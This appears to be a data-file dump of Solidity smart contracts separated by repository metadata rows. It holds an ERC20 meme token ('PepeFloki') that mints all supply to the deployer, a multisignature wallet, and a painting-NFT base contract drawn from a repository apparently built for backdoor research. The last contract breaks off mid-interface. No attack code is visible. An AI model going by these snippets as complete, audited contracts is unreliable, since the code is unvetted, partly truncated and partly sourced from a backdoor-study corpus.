/// @notice Simple ERC20 + EIP-2612 implementation.
/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC20.sol)
contract ERC20 {
/// @dev The total supply has overflowed.
error TotalSupplyOverflow();
/// @dev The allowance has overflowed.
error AllowanceOverflow();
/// @dev The allowance has underflowed.
error AllowanceUnderflow();
/// @dev Insufficient balance.
error InsufficientBalance();
/// @dev Insufficient allowance.
error InsufficientAllowance();
/// @dev Emitted when `amount` tokens is transferred from `from` to `to`.
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @dev Emitted when `amount` tokens is approved by `owner` to be used by `spender`.
event Approval(address indexed owner, address indexed spender, uint256 amount);
/// @dev `keccak256(bytes("Transfer(address,address,uint256)"))`.
uint256 private constant _TRANSFER_EVENT_SIGNATURE =
0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;
/// @dev `keccak256(bytes("Approval(address,address,uint256)"))`.
uint256 private constant _APPROVAL_EVENT_SIGNATURE =
0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925;
/// @dev The storage slot for the total supply.
uint256 private constant _TOTAL_SUPPLY_SLOT = 0x05345cdf77eb68f44c;
/// @dev The balance slot of `owner` is given by:
/// ```
/// mstore(0x0c, _BALANCE_SLOT_SEED)
/// mstore(0x00, owner)
/// let balanceSlot := keccak256(0x0c, 0x20)
/// ```
uint256 private constant _BALANCE_SLOT_SEED = 0x87a211a2;
/// @dev The allowance slot of (`owner`, `spender`) is given by:
/// ```
/// mstore(0x20, spender)
/// mstore(0x0c, _ALLOWANCE_SLOT_SEED)
/// mstore(0x00, owner)
/// let allowanceSlot := keccak256(0x0c, 0x34)
/// ```
uint256 private constant _ALLOWANCE_SLOT_SEED = 0x7f5e9f20;
constructor (){
_mint(msg.sender,5000000000000e18);
}
/// @dev Returns the name of the token.
function name() public pure returns (string memory){
return "PepeFloki";
}
/// @dev Returns the symbol of the token.
function symbol() public pure returns (string memory){
return "PFK";
}
/// @dev Returns the decimals places of the token.
function decimals() public pure returns (uint8) {
return 18;
}
/// @dev Returns the amount of tokens in existence.
function totalSupply() public view virtual returns (uint256 result) {
/// @solidity memory-safe-assembly
assembly {
result := sload(_TOTAL_SUPPLY_SLOT)
}
}
/// @dev Returns the amount of tokens owned by `owner`.
function balanceOf(address owner) public view virtual returns (uint256 result) {
/// @solidity memory-safe-assembly
assembly {
mstore(0x0c, _BALANCE_SLOT_SEED)
mstore(0x00, owner)
result := sload(keccak256(0x0c, 0x20))
}
}
/// @dev Returns the amount of tokens that `spender` can spend on behalf of `owner`.
function allowance(address owner, address spender)
public
view
virtual
returns (uint256 result)
{
/// @solidity memory-safe-assembly
assembly {
mstore(0x20, spender)
mstore(0x0c, _ALLOWANCE_SLOT_SEED)
mstore(0x00, owner)
result := sload(keccak256(0x0c, 0x34))
}
}
/// @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
///
/// Emits a {Approval} event.
function approve(address spender, uint256 amount) public virtual returns (bool) {
/// @solidity memory-safe-assembly
assembly {
// Compute the allowance slot and store the amount.
mstore(0x20, spender)
mstore(0x0c, _ALLOWANCE_SLOT_SEED)
mstore(0x00, caller())
sstore(keccak256(0x0c, 0x34), amount)
// Emit the {Approval} event.
mstore(0x00, amount)
log3(0x00, 0x20, _APPROVAL_EVENT_SIGNATURE, caller(), shr(96, mload(0x2c)))
}
return true;
}
/// @dev Atomically increases the allowance granted to `spender` by the caller.
///
/// Emits a {Approval} event.
function increaseAllowance(address spender, uint256 difference) public virtual returns (bool) {
/// @solidity memory-safe-assembly
assembly {
// Compute the allowance slot and load its value.
mstore(0x20, spender)
mstore(0x0c, _ALLOWANCE_SLOT_SEED)
mstore(0x00, caller())
let allowanceSlot := keccak256(0x0c, 0x34)
let allowanceBefore := sload(allowanceSlot)
// Add to the allowance.
let allowanceAfter := add(allowanceBefore, difference)
// Revert upon overflow.
if lt(allowanceAfter, allowanceBefore) {
mstore(0x00, 0xf9067066) // `AllowanceOverflow()`.
revert(0x1c, 0x04)
}
// Store the updated allowance.
sstore(allowanceSlot, allowanceAfter)
// Emit the {Approval} event.
mstore(0x00, allowanceAfter)
log3(0x00, 0x20, _APPROVAL_EVENT_SIGNATURE, caller(), shr(96, mload(0x2c)))
}
return true;
}
/// @dev Atomically decreases the allowance granted to `spender` by the caller.
///
/// Emits a {Approval} event.
function decreaseAllowance(address spender, uint256 difference) public virtual returns (bool) {
/// @solidity memory-safe-assembly
assembly {
// Compute the allowance slot and load its value.
mstore(0x20, spender)
mstore(0x0c, _ALLOWANCE_SLOT_SEED)
mstore(0x00, caller())
let allowanceSlot := keccak256(0x0c, 0x34)
let allowanceBefore := sload(allowanceSlot)
// Revert if will underflow.
if lt(allowanceBefore, difference) {
mstore(0x00, 0x8301ab38) // `AllowanceUnderflow()`.
revert(0x1c, 0x04)
}
// Subtract and store the updated allowance.
let allowanceAfter := sub(allowanceBefore, difference)
sstore(allowanceSlot, allowanceAfter)
// Emit the {Approval} event.
mstore(0x00, allowanceAfter)
log3(0x00, 0x20, _APPROVAL_EVENT_SIGNATURE, caller(), shr(96, mload(0x2c)))
}
return true;
}
/// @dev Transfer `amount` tokens from the caller to `to`.
///
/// Requirements:
/// - `from` must at least have `amount`.
///
/// Emits a {Transfer} event.
function transfer(address to, uint256 amount) public virtual returns (bool) {
_beforeTokenTransfer(msg.sender, to, amount);
/// @solidity memory-safe-assembly
assembly {
// Compute the balance slot and load its value.
mstore(0x0c, _BALANCE_SLOT_SEED)
mstore(0x00, caller())
let fromBalanceSlot := keccak256(0x0c, 0x20)
let fromBalance := sload(fromBalanceSlot)
// Revert if insufficient balance.
if gt(amount, fromBalance) {
mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.
revert(0x1c, 0x04)
}
// Subtract and store the updated balance.
sstore(fromBalanceSlot, sub(fromBalance, amount))
// Compute the balance slot of `to`.
mstore(0x00, to)
let toBalanceSlot := keccak256(0x0c, 0x20)
// Add and store the updated balance of `to`.
// Will not overflow because the sum of all user balances
// cannot exceed the maximum uint256 value.
sstore(toBalanceSlot, add(sload(toBalanceSlot), amount))
// Emit the {Transfer} event.
mstore(0x20, amount)
log3(0x20, 0x20, _TRANSFER_EVENT_SIGNATURE, caller(), shr(96, mload(0x0c)))
}
_afterTokenTransfer(msg.sender, to, amount);
return true;
}
/// @dev Transfers `amount` tokens from `from` to `to`.
///
/// Note: does not update the allowance if it is the maximum uint256 value.
///
/// Requirements:
/// - `from` must at least have `amount`.
/// - The caller must have at least `amount` of allowance to transfer the tokens of `from`.
///
/// Emits a {Transfer} event.
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
_beforeTokenTransfer(from, to, amount);
/// @solidity memory-safe-assembly
assembly {
let from_ := shl(96, from)
// Compute the allowance slot and load its value.
mstore(0x20, caller())
mstore(0x0c, or(from_, _ALLOWANCE_SLOT_SEED))
let allowanceSlot := keccak256(0x0c, 0x34)
let allowance_ := sload(allowanceSlot)
// If the allowance is not the maximum uint256 value.
if iszero(eq(allowance_, not(0))) {
// Revert if the amount to be transferred exceeds the allowance.
if gt(amount, allowance_) {
mstore(0x00, 0x13be252b) // `InsufficientAllowance()`.
revert(0x1c, 0x04)
}
// Subtract and store the updated allowance.
sstore(allowanceSlot, sub(allowance_, amount))
}
// Compute the balance slot and load its value.
mstore(0x0c, or(from_, _BALANCE_SLOT_SEED))
let fromBalanceSlot := keccak256(0x0c, 0x20)
let fromBalance := sload(fromBalanceSlot)
// Revert if insufficient balance.
if gt(amount, fromBalance) {
mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.
revert(0x1c, 0x04)
}
// Subtract and store the updated balance.
sstore(fromBalanceSlot, sub(fromBalance, amount))
// Compute the balance slot of `to`.
mstore(0x00, to)
let toBalanceSlot := keccak256(0x0c, 0x20)
// Add and store the updated balance of `to`.
// Will not overflow because the sum of all user balances
// cannot exceed the maximum uint256 value.
sstore(toBalanceSlot, add(sload(toBalanceSlot), amount))
// Emit the {Transfer} event.
mstore(0x20, amount)
log3(0x20, 0x20, _TRANSFER_EVENT_SIGNATURE, shr(96, from_), shr(96, mload(0x0c)))
}
_afterTokenTransfer(from, to, amount);
return true;
}
/// @dev Mints `amount` tokens to `to`, increasing the total supply.
///
/// Emits a {Transfer} event.
function _mint(address to, uint256 amount) internal virtual {
_beforeTokenTransfer(address(0), to, amount);
/// @solidity memory-safe-assembly
assembly {
let totalSupplyBefore := sload(_TOTAL_SUPPLY_SLOT)
let totalSupplyAfter := add(totalSupplyBefore, amount)
// Revert if the total supply overflows.
if lt(totalSupplyAfter, totalSupplyBefore) {
mstore(0x00, 0xe5cfe957) // `TotalSupplyOverflow()`.
revert(0x1c, 0x04)
}
// Store the updated total supply.
sstore(_TOTAL_SUPPLY_SLOT, totalSupplyAfter)
// Compute the balance slot and load its value.
mstore(0x0c, _BALANCE_SLOT_SEED)
mstore(0x00, to)
let toBalanceSlot := keccak256(0x0c, 0x20)
// Add and store the updated balance.
sstore(toBalanceSlot, add(sload(toBalanceSlot), amount))
// Emit the {Transfer} event.
mstore(0x20, amount)
log3(0x20, 0x20, _TRANSFER_EVENT_SIGNATURE, 0, shr(96, mload(0x0c)))
}
_afterTokenTransfer(address(0), to, amount);
}
/// @dev Burns `amount` tokens from `from`, reducing the total supply.
///
/// Emits a {Transfer} event.
function _burn(address from, uint256 amount) internal virtual {
_beforeTokenTransfer(from, address(0), amount);
/// @solidity memory-safe-assembly
assembly {
// Compute the balance slot and load its value.
mstore(0x0c, _BALANCE_SLOT_SEED)
mstore(0x00, from)
let fromBalanceSlot := keccak256(0x0c, 0x20)
let fromBalance := sload(fromBalanceSlot)
// Revert if insufficient balance.
if gt(amount, fromBalance) {
mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.
revert(0x1c, 0x04)
}
// Subtract and store the updated balance.
sstore(fromBalanceSlot, sub(fromBalance, amount))
// Subtract and store the updated total supply.
sstore(_TOTAL_SUPPLY_SLOT, sub(sload(_TOTAL_SUPPLY_SLOT), amount))
// Emit the {Transfer} event.
mstore(0x00, amount)
log3(0x00, 0x20, _TRANSFER_EVENT_SIGNATURE, shr(96, shl(96, from)), 0)
}
_afterTokenTransfer(from, address(0), amount);
}
/// @dev Moves `amount` of tokens from `from` to `to`.
function _transfer(address from, address to, uint256 amount) internal virtual {
_beforeTokenTransfer(from, to, amount);
/// @solidity memory-safe-assembly
assembly {
let from_ := shl(96, from)
// Compute the balance slot and load its value.
mstore(0x0c, or(from_, _BALANCE_SLOT_SEED))
let fromBalanceSlot := keccak256(0x0c, 0x20)
let fromBalance := sload(fromBalanceSlot)
// Revert if insufficient balance.
if gt(amount, fromBalance) {
mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.
revert(0x1c, 0x04)
}
// Subtract and store the updated balance.
sstore(fromBalanceSlot, sub(fromBalance, amount))
// Compute the balance slot of `to`.
mstore(0x00, to)
let toBalanceSlot := keccak256(0x0c, 0x20)
// Add and store the updated balance of `to`.
// Will not overflow because the sum of all user balances
// cannot exceed the maximum uint256 value.
sstore(toBalanceSlot, add(sload(toBalanceSlot), amount))
// Emit the {Transfer} event.
mstore(0x20, amount)
log3(0x20, 0x20, _TRANSFER_EVENT_SIGNATURE, shr(96, from_), shr(96, mload(0x0c)))
}
_afterTokenTransfer(from, to, amount);
}
/// @dev Updates the allowance of `owner` for `spender` based on spent `amount`.
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
/// @solidity memory-safe-assembly
assembly {
// Compute the allowance slot and load its value.
mstore(0x20, spender)
mstore(0x0c, _ALLOWANCE_SLOT_SEED)
mstore(0x00, owner)
let allowanceSlot := keccak256(0x0c, 0x34)
let allowance_ := sload(allowanceSlot)
// If the allowance is not the maximum uint256 value.
if iszero(eq(allowance_, not(0))) {
// Revert if the amount to be transferred exceeds the allowance.
if gt(amount, allowance_) {
mstore(0x00, 0x13be252b) // `InsufficientAllowance()`.
revert(0x1c, 0x04)
}
// Subtract and store the updated allowance.
sstore(allowanceSlot, sub(allowance_, amount))
}
}
}
/// @dev Sets `amount` as the allowance of `spender` over the tokens of `owner`.
///
/// Emits a {Approval} event.
function _approve(address owner, address spender, uint256 amount) internal virtual {
/// @solidity memory-safe-assembly
assembly {
let owner_ := shl(96, owner)
// Compute the allowance slot and store the amount.
mstore(0x20, spender)
mstore(0x0c, or(owner_, _ALLOWANCE_SLOT_SEED))
sstore(keccak256(0x0c, 0x34), amount)
// Emit the {Approval} event.
mstore(0x00, amount)
log3(0x00, 0x20, _APPROVAL_EVENT_SIGNATURE, shr(96, owner_), shr(96, mload(0x2c)))
}
}
/// @dev Hook that is called before any transfer of tokens.
/// This includes minting and burning.
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
/// @dev Hook that is called after any transfer of tokens.
/// This includes minting and burning.
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
| 31,071 | 13,503 |
1be969817e36cf6b75601720a31a4f20a282b5126b20c2c7c3f3b71efbd503f1
| 13,740 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/24/24E3893e2E3e140dF67CfCFe894ac785035dFCAa_MultiSigWallet.sol
| 2,984 | 12,969 |
pragma solidity ^0.5.17;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[emailprotected]>
contract MultiSigWallet {
event Confirmation(address indexed sender, uint256 indexed transactionId);
event Revocation(address indexed sender, uint256 indexed transactionId);
event Submission(uint256 indexed transactionId);
event Execution(uint256 indexed transactionId);
event ExecutionFailure(uint256 indexed transactionId);
event Deposit(address indexed sender, uint256 value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint256 required);
uint256 constant public MAX_OWNER_COUNT = 50;
mapping (uint256 => Transaction) public transactions;
mapping (uint256 => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint256 public required;
uint256 public transactionCount;
struct Transaction {
address destination;
uint256 value;
bytes data;
bool executed;
uint256 timestamp;
}
modifier onlyWallet() {
require(msg.sender == address(this), "Only wallet");
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner], "Owner exists");
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner], "Owner does not exists");
_;
}
modifier transactionExists(uint256 transactionId) {
require(transactions[transactionId].destination != address(0), "Tx doesn't exist");
_;
}
modifier confirmed(uint256 transactionId, address owner) {
require(confirmations[transactionId][owner], "not confirmed");
_;
}
modifier notConfirmed(uint256 transactionId, address owner) {
require(!confirmations[transactionId][owner], "is already confirmed");
_;
}
modifier notExecuted(uint256 transactionId) {
require(!transactions[transactionId].executed, "tx already executed");
_;
}
modifier notNull(address _address) {
require(_address != address(0), "address is null");
_;
}
modifier validRequirement(uint256 ownerCount, uint256 _required) {
require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0, "invalid requirement");
_;
}
/// @dev Fallback function allows to deposit ether.
function() external payable {
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint256 _required) public validRequirement(_owners.length, _required) {
for (uint256 i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0), "is already owner");
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner to add.
function addOwner(address owner) public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to remove.
function removeOwner(address owner) public onlyWallet ownerExists(owner) {
isOwner[owner] = false;
for (uint256 i = 0; i < owners.length - 1; i++){
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) {
for(uint256 i = 0; i < owners.length; i++) {
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint256 _required) public onlyWallet validRequirement(owners.length, _required) {
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint256 value, bytes memory data) public returns (uint256 transactionId) {
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint256 transactionId) public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint256 transactionId) public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint256 transactionId) public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint256 value, uint256 dataLength, bytes memory data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint256 transactionId) public view returns (bool) {
uint256 count = 0;
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint256 value, bytes memory data) internal
notNull(destination) returns (uint256 transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false,
timestamp: now
});
transactionCount += 1;
emit Submission(transactionId);
}
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint256 transactionId) public view returns (uint256 count) {
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) count += 1;
}
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed) public view returns (uint256 count) {
for (uint256 i = 0; i < transactionCount; i++) {
if (pending && !transactions[i].executed || executed && transactions[i].executed)
count += 1;
}
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners() public view returns (address[] memory) {
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint256 transactionId) public view returns (address[] memory _confirmations) {
address[] memory confirmationsTemp = new address[](owners.length);
uint256 count = 0;
uint256 i;
for (i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
}
_confirmations = new address[](count);
for (i = 0; i < count; i++) {
_confirmations[i] = confirmationsTemp[i];
}
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint256 from, uint256 to, bool pending, bool executed) public view returns (uint256[] memory _transactionIds) {
uint256[] memory transactionIdsTemp = new uint256[](transactionCount);
uint256 count = 0;
uint256 i;
for (i = 0; i < transactionCount; i++)
if (pending && !transactions[i].executed || executed && transactions[i].executed) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint256[](to - from);
for (i = from; i < to; i++){
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
function getTransaction(uint256 transactionId) public view returns (bytes memory, address, bool, uint256) {
Transaction memory txn = transactions[transactionId];
return (txn.data,
txn.destination,
txn.executed,
txn.timestamp);
}
}
| 103,768 | 13,504 |
c5358b3709b17f7f4d28a847b02779827a4382ccbe3ef6a1c891bf3cf479d281
| 24,192 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x6ad9c45c7d058aa8568329fb58ced0a35e249b6d.sol
| 5,453 | 22,143 |
pragma solidity ^0.4.15;
// File: contracts/interfaces/IEditions.sol
contract IEditions {
function createEdition(uint _tokenId) external;
function pendingEditionsOf(address _of) public constant returns (uint[] tokens,
uint[] startedAt,
uint[] completedAt,
uint8[] currentCounts,
uint8[] limitCounts);
function counter(uint _tokenId) public
constant returns (uint8 current, uint8 limit);
function signature() external constant returns (uint _signature);
}
// File: contracts/interfaces/IStorage.sol
contract IStorage {
function isOwner(address _address) public constant returns (bool);
function isAllowed(address _address) external constant returns (bool);
function developer() public constant returns (address);
function setDeveloper(address _address) public;
function addAdmin(address _address) public;
function isAdmin(address _address) public constant returns (bool);
function removeAdmin(address _address) public;
function contracts(uint _signature) public returns (address _address);
function exists(uint _tokenId) external constant returns (bool);
function paintingsCount() public constant returns (uint);
function increaseOwnershipTokenCount(address _address) public;
function decreaseOwnershipTokenCount(address _address) public;
function setOwnership(uint _tokenId, address _address) public;
function getPainting(uint _tokenId)
external constant returns (address, uint, uint, uint, uint8, uint8);
function createPainting(address _owner,
uint _tokenId,
uint _parentId,
uint8 _generation,
uint8 _speed,
uint _artistId,
uint _releasedAt) public;
function approve(uint _tokenId, address _claimant) external;
function isApprovedFor(uint _tokenId, address _claimant)
external constant returns (bool);
function createEditionMeta(uint _tokenId) public;
function getPaintingOwner(uint _tokenId)
external constant returns (address);
function getPaintingGeneration(uint _tokenId)
public constant returns (uint8);
function getPaintingSpeed(uint _tokenId)
external constant returns (uint8);
function getPaintingArtistId(uint _tokenId)
public constant returns (uint artistId);
function getOwnershipTokenCount(address _address)
external constant returns (uint);
function isReady(uint _tokenId) public constant returns (bool);
function getPaintingIdAtIndex(uint _index) public constant returns (uint);
function lastEditionOf(uint _index) public constant returns (uint);
function getPaintingOriginal(uint _tokenId)
external constant returns (uint);
function canBeBidden(uint _tokenId) public constant returns (bool _can);
function addAuction(uint _tokenId,
uint _startingPrice,
uint _endingPrice,
uint _duration,
address _seller) public;
function addReleaseAuction(uint _tokenId,
uint _startingPrice,
uint _endingPrice,
uint _startedAt,
uint _duration) public;
function initAuction(uint _tokenId,
uint _startingPrice,
uint _endingPrice,
uint _startedAt,
uint _duration,
address _seller,
bool _byTeam) public;
function _isOnAuction(uint _tokenId) internal constant returns (bool);
function isOnAuction(uint _tokenId) external constant returns (bool);
function removeAuction(uint _tokenId) public;
function getAuction(uint256 _tokenId)
external constant returns (address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt);
function getAuctionSeller(uint256 _tokenId)
public constant returns (address);
function getAuctionEnd(uint _tokenId)
public constant returns (uint);
function canBeCanceled(uint _tokenId) external constant returns (bool);
function getAuctionsCount() public constant returns (uint);
function getTokensOnAuction() public constant returns (uint[]);
function getTokenIdAtIndex(uint _index) public constant returns (uint);
function getAuctionStartedAt(uint256 _tokenId) public constant returns (uint);
function getOffsetIndex() public constant returns (uint);
function nextOffsetIndex() public returns (uint);
function canCreateEdition(uint _tokenId, uint8 _generation)
public constant returns (bool);
function isValidGeneration(uint8 _generation)
public constant returns (bool);
function increaseGenerationCount(uint _tokenId, uint8 _generation) public;
function getEditionsCount(uint _tokenId) external constant returns (uint8[3]);
function setLastEditionOf(uint _tokenId, uint _editionId) public;
function setEditionLimits(uint _tokenId, uint8 _gen1, uint8 _gen2, uint8 _gen3) public;
function getEditionLimits(uint _tokenId) external constant returns (uint8[3]);
function hasEditionInProgress(uint _tokenId) external constant returns (bool);
function hasEmptyEditionSlots(uint _tokenId) external constant returns (bool);
function setPaintingName(uint _tokenId, string _name) public;
function setPaintingArtist(uint _tokenId, string _name) public;
function purgeInformation(uint _tokenId) public;
function resetEditionLimits(uint _tokenId) public;
function resetPainting(uint _tokenId) public;
function decreaseSpeed(uint _tokenId) public;
function isCanceled(uint _tokenId) public constant returns (bool _is);
function totalPaintingsCount() public constant returns (uint _total);
function isSecondary(uint _tokenId) public constant returns (bool _is);
function secondarySaleCut() public constant returns (uint8 _cut);
function sealForChanges(uint _tokenId) public;
function canBeChanged(uint _tokenId) public constant returns (bool _can);
function getPaintingName(uint _tokenId) public constant returns (string);
function getPaintingArtist(uint _tokenId) public constant returns (string);
function signature() external constant returns (bytes4);
}
// File: contracts/libs/Ownable.sol
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function isOwner(address _address) public constant returns (bool) {
return _address == owner;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
// File: contracts/libs/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function _pause() internal whenNotPaused {
paused = true;
Pause();
}
function _unpause() internal whenPaused {
paused = false;
Unpause();
}
}
// File: contracts/libs/BitpaintingBase.sol
contract BitpaintingBase is Pausable {
event Create(uint _tokenId,
address _owner,
uint _parentId,
uint8 _generation,
uint _createdAt,
uint _completedAt);
event Transfer(address from, address to, uint256 tokenId);
IStorage public bitpaintingStorage;
modifier canPauseUnpause() {
require(msg.sender == owner || msg.sender == bitpaintingStorage.developer());
_;
}
function setBitpaintingStorage(address _address) public onlyOwner {
require(_address != address(0));
bitpaintingStorage = IStorage(_address);
}
function pause() public canPauseUnpause whenNotPaused {
super._pause();
}
function unpause() external canPauseUnpause whenPaused {
super._unpause();
}
function canUserReleaseArtwork(address _address)
public constant returns (bool _can) {
return (bitpaintingStorage.isOwner(_address)
|| bitpaintingStorage.isAdmin(_address)
|| bitpaintingStorage.isAllowed(_address));
}
function canUserCancelArtwork(address _address)
public constant returns (bool _can) {
return (bitpaintingStorage.isOwner(_address)
|| bitpaintingStorage.isAdmin(_address));
}
modifier canReleaseArtwork() {
require(canUserReleaseArtwork(msg.sender));
_;
}
modifier canCancelArtwork() {
require(canUserCancelArtwork(msg.sender));
_;
}
/// @dev Assigns ownership of a specific Painting to an address.
function _transfer(address _from, address _to, uint256 _tokenId)
internal {
bitpaintingStorage.setOwnership(_tokenId, _to);
Transfer(_from, _to, _tokenId);
}
function _createOriginalPainting(uint _tokenId, uint _artistId, uint _releasedAt) internal {
address _owner = owner;
uint _parentId = 0;
uint8 _generation = 0;
uint8 _speed = 10;
_createPainting(_owner, _tokenId, _parentId, _generation, _speed, _artistId, _releasedAt);
}
function _createPainting(address _owner,
uint _tokenId,
uint _parentId,
uint8 _generation,
uint8 _speed,
uint _artistId,
uint _releasedAt)
internal
{
require(_tokenId == uint256(uint32(_tokenId)));
require(_parentId == uint256(uint32(_parentId)));
require(_generation == uint256(uint8(_generation)));
bitpaintingStorage.createPainting(_owner, _tokenId, _parentId, _generation, _speed, _artistId, _releasedAt);
uint _createdAt;
uint _completedAt;
(,,_createdAt, _completedAt,,) = bitpaintingStorage.getPainting(_tokenId);
// emit the create event
Create(_tokenId,
_owner,
_parentId,
_generation,
_createdAt,
_completedAt);
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(0, _owner, _tokenId);
}
}
// File: contracts/libs/ERC721.sol
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete)
contract ERC721 {
// Required methods
function totalSupply() public constant returns (uint256 total);
function balanceOf(address _owner) public constant returns (uint256 balance);
function ownerOf(uint256 _tokenId) external constant returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
